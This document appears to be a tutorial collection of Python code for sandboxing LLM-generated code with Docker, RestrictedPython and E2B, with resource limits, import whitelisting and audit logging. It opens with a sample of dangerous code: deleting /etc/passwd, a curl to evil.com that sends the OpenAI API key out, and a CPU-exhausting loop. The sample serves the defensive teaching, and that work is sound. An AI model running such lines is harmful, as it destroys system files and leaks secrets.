Sandboxing med Docker og RestrictedPython

# Example of dangerous code an LLM might generate
import os
import subprocess

# Without sandboxing, this runs with full host permissions:
os.remove('/etc/passwd')              # deletes system file
subprocess.run(['curl', 'http://evil.com', '-d', os.environ['OPENAI_API_KEY']])  # exfiltrates secrets
while True: pass                      # exhausts CPU

# Sandboxing prevents ALL of this

import docker
import tempfile
import os

client = docker.from_env()

def execute_in_docker(code: str, timeout=30) -> tuple[str, str]:
    # Write code to temp file
    with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
        f.write(code)
        host_path = f.name
    
    try:
        container = client.containers.run(
            image='python:3.11-slim',           # minimal Python image
            command=f'python /workspace/code.py',
            volumes={host_path: {'bind': '/workspace/code.py', 'mode': 'ro'}},
            mem_limit='256m',                   # max 256 MB RAM
            cpu_period=100000,
            cpu_quota=50000,                    # 50% of 1 CPU core
            network_disabled=True,              # no internet access
            read_only=True,                     # read-only root filesystem
            remove=True,                        # auto-delete container
            timeout=timeout
        )
        return container.decode('utf-8'), ''
    except docker.errors.ContainerError as e:
        return '', e.stderr.decode('utf-8')
    finally:
        os.unlink(host_path)

sandbox_config = {
    'image': 'code-sandbox:latest',
    'mem_limit': '256m',        # 256 MB max RAM
    'memswap_limit': '256m',    # no swap (prevents RAM expansion via swap)
    'cpu_quota': 50000,         # 50% of a CPU core
    'cpu_period': 100000,
    'pids_limit': 64,           # max 64 processes (prevents fork bombs)
    'network_disabled': True,   # no network
    'read_only': True,          # read-only root filesystem
    'tmpfs': {'/tmp': ''},      # writable /tmp in memory only
    'security_opt': ['no-new-privileges'],  # prevent privilege escalation
    'cap_drop': ['ALL'],        # drop all Linux capabilities
    'remove': True,             # auto-remove after execution
}

# Dockerfile for code sandbox
# FROM python:3.11-slim
# 
# RUN pip install --no-cache-dir \
#     pandas==2.1.0 \
#     numpy==1.25.0 \
#     matplotlib==3.7.0 \
#     scikit-learn==1.3.0 \
#     requests==2.31.0 \
#     beautifulsoup4==4.12.0
# 
# # Create non-root user for extra security
# RUN useradd -m sandbox
# USER sandbox
# 
# WORKDIR /workspace

# Build: docker build -t code-sandbox:latest .
# The agent uses this image for every execution

from RestrictedPython import compile_restricted, safe_globals, safe_builtins
from RestrictedPython.Guards import safe_iter_unpack_sequence, guarded_getitem

def execute_restricted(code: str) -> dict:
    # Compile with restrictions
    byte_code = compile_restricted(code, '<string>', 'exec')
    
    # Define a restricted global namespace
    restricted_globals = {
        '__builtins__': safe_builtins,  # no exec, eval, __import__, open
        '_getiter_': iter,
        '_getitem_': guarded_getitem,
        '_iter_unpack_sequence_': safe_iter_unpack_sequence,
        'print': print,  # allow print
    }
    
    local_vars = {}
    exec(byte_code, restricted_globals, local_vars)
    return local_vars

# Test
try:
    result = execute_restricted('x = 2 + 2\nprint(x)')
except Exception as e:
    print('Blocked:', e)

# Decision guide
def choose_sandbox(requirements: dict) -> str:
    if requirements.get('user_provided_code'):  # untrusted third party code
        return 'docker'  # must use Docker for true isolation
    
    if requirements.get('needs_filesystem_access'):
        return 'docker'  # Docker volumes are safer
    
    if requirements.get('low_latency_critical'):  # < 100ms per execution
        return 'restrictedpython'  # no container startup overhead
    
    if requirements.get('llm_generated_internal_only'):  # your own trusted agent
        return 'restrictedpython'  # acceptable risk, faster
    
    return 'docker'  # default to stronger isolation when in doubt

from RestrictedPython import safe_builtins
import pandas as pd
import numpy as np

# Whitelist approach: only provide what agents should use
ALLOWED_MODULES = {
    'pandas': pd,
    'numpy': np,
    # NOT allowed: subprocess, socket, os, sys, importlib
}

def make_restricted_globals():
    builtins = dict(safe_builtins)  # safe subset of Python builtins
    builtins['__import__'] = make_guarded_import(ALLOWED_MODULES)
    return {'__builtins__': builtins, **ALLOWED_MODULES}

def make_guarded_import(allowed: dict):
    def guarded_import(name, *args, **kwargs):
        if name not in allowed:
            raise ImportError(f'Import of {name} is not allowed in sandbox')
        return allowed[name]
    return guarded_import

import os
import tempfile

class AgentWorkspace:
    def __init__(self):
        self.dir = tempfile.mkdtemp(prefix='agent_workspace_')
        os.chmod(self.dir, 0o755)
        print(f'Workspace created: {self.dir}')

    def get_docker_mount(self):
        return {self.dir: {'bind': '/workspace', 'mode': 'rw'}}

    def list_files(self):
        return os.listdir(self.dir)

    def cleanup(self):
        import shutil
        shutil.rmtree(self.dir)
        print('Workspace cleaned up')

# Usage across iterations
workspace = AgentWorkspace()

for i, code in enumerate(agent_generated_code_iterations):
    volumes = workspace.get_docker_mount()
    output, err = execute_in_docker(code, volumes=volumes)
    # Code in iteration 2 can read files written by iteration 1

# E2B managed sandbox (e2b.dev)
from e2b_code_interpreter import Sandbox

def execute_with_e2b(code: str) -> tuple[str, str]:
    with Sandbox() as sandbox:
        execution = sandbox.run_code(code)
        stdout = '\n'.join(execution.logs.stdout)
        stderr = '\n'.join(execution.logs.stderr)
        return stdout, stderr

# E2B handles: sandboxing, resource limits, network isolation
# Each sandbox starts in ~100ms and auto-expires after the session
output, error = execute_with_e2b('import pandas as pd\ndf = pd.DataFrame({"a": [1,2,3]})\nprint(df)')

import time
import hashlib

def audited_execute(code: str, agent_id: str, session_id: str) -> dict:
    code_hash = hashlib.sha256(code.encode()).hexdigest()[:16]
    start = time.time()
    
    stdout, stderr = execute_in_docker(code)
    
    audit_record = {
        'agent_id': agent_id,
        'session_id': session_id,
        'code_hash': code_hash,
        'code_preview': code[:200],  # first 200 chars
        'start_time': start,
        'duration_ms': (time.time() - start) * 1000,
        'had_error': bool(stderr),
        'output_length': len(stdout)
    }
    write_audit_log(audit_record)
    return {'stdout': stdout, 'stderr': stderr, 'audit': audit_record}